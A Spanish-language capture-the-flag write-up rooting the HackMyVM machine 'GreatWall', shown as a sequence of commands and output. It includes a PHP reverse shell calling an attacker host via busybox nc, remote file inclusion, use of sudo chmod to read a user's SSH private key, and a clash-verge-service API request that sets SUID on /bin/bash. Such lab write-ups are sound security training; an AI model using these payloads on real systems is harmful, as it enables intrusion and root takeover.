cd ~/blog

~/writeups/hmv/131-greatwall.md

131 - GreatWall

easy Linux hmv 19-07-2025
LFI / RFI (reverse shell over port 22)sudo chmod (read id_rsa)clash-verge-service local privilege escalation
hackmyvm.eu/machines/machine.php?vm=GreatWall

~1 min de lectura


Enumeramos puertos:

 nmap -sCV -p 22,80 -oN 02-targeted.txt 192.168.1.12
...
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u5
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: Hello World
...

El parámetro page es vulnerable a LFI (y RFI):

 curl 'http://192.168.1.12/?page=file:///etc/passwd'
...
root:x:0:0:root:/root:/bin/bash
wall:x:1000:1000:wall,,,:/home/wall:/bin/bash
...

Las conexiones salientes están filtradas por iptables, pero el puerto 22 ya está abierto, así que servimos un PHP con reverse shell hacia ese puerto y lo incluimos vía RFI:

 cat pwned.php
<?php
    $exec = `busybox nc 192.168.1.5 22 -e /bin/bash`;
    echo "Result: " . trim($exec);
?>
 curl -s "http://192.168.1.12/?page=http://192.168.1.5/pwned.php"

 sudo ncat -nlvp 22
Ncat: Connection from 192.168.1.12:36104.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Revisamos sudo -l:

www-data@greatwall:~/html$ sudo -l
...
User www-data may run the following commands on greatwall:
    (wall) NOPASSWD: /bin/chmod

Usamos chmod (como wall) para abrir el home de wall, leer su id_rsa y restaurar los permisos:

www-data@greatwall:/home$ sudo -u wall chmod 777 wall
www-data@greatwall:/home/wall/.ssh$ sudo -u wall chmod 777 id_rsa
www-data@greatwall:/home/wall/.ssh$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
...
www-data@greatwall:/home/wall/.ssh$ sudo -u wall chmod 600 id_rsa
www-data@greatwall:/home$ sudo -u wall chmod 750 /home/wall

 ssh wall@192.168.1.12 -i id_rsa
wall@greatwall:~$

Obtenemos la primera flag. Revisamos sudo -l como wall:

wall@greatwall:~$ sudo -l
...
User wall may run the following commands on greatwall:
    (ALL) NOPASSWD: /usr/bin/systemctl start clash-verge-service

clash-verge-service tiene una escalada de privilegios conocida: al iniciarlo abre una API local que ejecuta binarios arbitrarios como root. Lo arrancamos y abusamos de su endpoint:

wall@greatwall:~$ sudo /usr/bin/systemctl start clash-verge-service
wall@greatwall:~$ ss -tuln
...
tcp        LISTEN      0            128                    127.0.0.1:33211                  0.0.0.0:*
...

wall@greatwall:/tmp$ cat rev.sh
#!/bin/bash
chmod +s /bin/bash

wall@greatwall:/tmp$ curl -X POST http://127.0.0.1:33211/start_clash -H "Content-Type: application/json" -d '{"core_type": "verge-mihome","bin_path": "/tmp/rev.sh","config_dir": "1","config_file": "/tmp/rev.sh","log_file": "/tmp/abc"}'

wall@greatwall:/tmp$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1265648 Mar 30  2024 /bin/bash

wall@greatwall:/tmp$ bash -p
bash-5.2# whoami
root

Obtenemos nuestra flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados